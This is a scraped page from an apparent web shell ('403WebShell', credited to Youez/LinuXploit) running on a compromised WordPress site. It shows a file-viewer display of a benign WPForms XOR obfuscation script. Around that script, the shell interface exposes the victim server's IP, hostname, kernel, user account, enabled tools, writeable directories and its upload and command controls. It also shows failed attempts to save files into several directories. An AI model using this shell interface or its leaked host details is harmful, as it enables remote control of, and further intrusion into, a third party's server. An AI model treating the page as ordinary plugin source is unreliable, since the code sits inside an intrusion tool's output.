Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.140.185.250
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/blog.diixadigital.com/wp-content/plugins/wpforms-lite/assets/js/admin/share/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/blog.diixadigital.com/wp-content/plugins/wpforms-lite/assets/js/admin/share/xor.js
/* global define */

/* eslint-disable */
/**
 * XOR, or exclusive or, is a logical bitwise operation that stands for "exclusive or."
 * In the context of binary numbers, XOR compares corresponding bits of two operands and
 * produces a new result. The XOR operation returns true (or 1) for bits where the operands differ.
 *
 * Note: This class is a simple obfuscation technique and should not be used for securing sensitive data.
 *
 * Here's the truth table for XOR:
 *
 * A | B | A XOR B
 * -----------------
 * 0 | 0 | 0
 * 0 | 1 | 1
 * 1 | 0 | 1
 * 1 | 1 | 0
 *
 * In binary, XOR is often denoted by the symbol ^.
 * Here's an example of XOR operation on binary numbers:
 *
 *   1101 (13 in decimal)
 * ^ 1010 (10 in decimal)
 * ------------------------
 *   0111 (7 in decimal)
 *
 * Example Usage:
 *
 * // Instantiate the plugin with a custom encryption key.
 * const xorInstance = new WPFormsXOR({
 *   key: 55, // Use any number as the encryption key.
 * });
 *
 * // Example object to encrypt.
 * const dataToEncrypt = {
 *   age: 30,
 *   name: 'Sullie',
 *   city: 'Texas',
 * };
 *
 * // Encrypt the object.
 * const encryptedValue = xorInstance.encrypt(dataToEncrypt);
 * console.log('Encrypted:', encryptedValue);
 *
 * // Decrypt the string.
 * const decryptedObject = xorInstance.decrypt(encryptedValue);
 * console.log('Decrypted:', decryptedObject);
 */
/* eslint-enable */

( function( root, factory ) {
	const pluginName = 'WPFormsXOR';

	if ( typeof define === 'function' && define.amd ) {
		define( [], factory( pluginName ) );
	} else if ( typeof exports === 'object' ) {
		module.exports = factory( pluginName );
	} else {
		root[ pluginName ] = factory( pluginName );
	}
// eslint-disable-next-line max-lines-per-function
}( this, function( pluginName ) {
	// eslint-disable-next-line strict
	'use strict';

	/**
	 * Plugin Error Object.
	 *
	 * @since 1.8.6
	 *
	 * @class PluginError
	 *
	 * @augments Error
	 */
	class PluginError extends Error {
		/**
		 * Constructor.
		 *
		 * @since 1.8.6
		 *
		 * @param {string} message The error message.
		 */
		constructor( message ) {
			super( message );

			this.name = pluginName;
		}
	}

	/**
	 * Plugin Object.
	 *
	 * @since 1.8.6
	 *
	 * @class Plugin
	 */
	class Plugin {
		// Default settings.
		static defaults = {
			// The encryption key is a crucial component in encryption algorithms,
			// including the XOR encryption used in the provided code.
			// The key is a value used to control the transformation
			// of the data during encryption and decryption.
			key: 42, // You can use any number.
		};

		/**
		 * Constructor.
		 *
		 * @since 1.8.6
		 *
		 * @param {Object} args The argument object.
		 */
		constructor( args ) {
			// Merge the default settings with the provided settings.
			this.args = Object.assign( {}, Plugin.defaults, args );
		}

		/**
		 * Encrypt an object using XOR encryption.
		 *
		 * @since 1.8.6
		 *
		 * @param {Object} obj The object to encrypt.
		 *
		 * @return {string} The encrypted object as a string.
		 */
		encrypt( obj ) {
			// Bail if the input is not an object.
			if ( typeof obj !== 'object' ) {
				throw new PluginError( 'Invalid input. Expected an object for encryption.' );
			}

			// Initialize an empty string to store the encrypted result.
			let result = '';

			try {
				// Convert the object to a JSON string.
				const jsonString = JSON.stringify( obj );

				// Iterate through each character of the JSON string.
				for ( let i = 0; i < jsonString.length; i++ ) {
					// XOR each character with the encryption key and append to the result.
					// eslint-disable-next-line no-bitwise
					result += String.fromCharCode( jsonString.charCodeAt( i ) ^ this.args.key );
				}
			} catch ( error ) {
				// Throw a PluginError if there's an issue during JSON stringification.
				throw new PluginError( 'Error during encryption. Unable to stringify the object.' );
			}

			return result;
		}

		/**
		 * Decrypt a string using XOR encryption.
		 *
		 * @since 1.8.6
		 *
		 * @param {string} encryptedString The encrypted string.
		 *
		 * @return {Object} The decrypted object.
		 */
		decrypt( encryptedString = '' ) {
			// Bail if the input is not a string.
			if ( typeof encryptedString !== 'string' ) {
				throw new PluginError( 'Invalid input. Expected a string for decryption.' );
			}

			// Bail if there is no encrypted string.
			if ( ! encryptedString ) {
				return {}; // Return an empty object.
			}

			let result = '';

			try {
				// Iterate through each character of the encrypted string.
				for ( let i = 0; i < encryptedString.length; i++ ) {
					// XOR each character with the decryption key and append to the result.
					// eslint-disable-next-line no-bitwise
					result += String.fromCharCode( encryptedString.charCodeAt( i ) ^ this.args.key );
				}

				// Parse the decrypted result as JSON or return an empty object if parsing fails.
				return JSON.parse( result || '{}' );
			} catch ( error ) {
				// Throw an error if there's an issue during decryption or parsing.
				throw new PluginError( 'Error during decryption. Unable to parse decrypted data.' );
			}
		}
	}

	return Plugin;
} ) );

Youez - 2016 - github.com/yon3zu
LinuXploit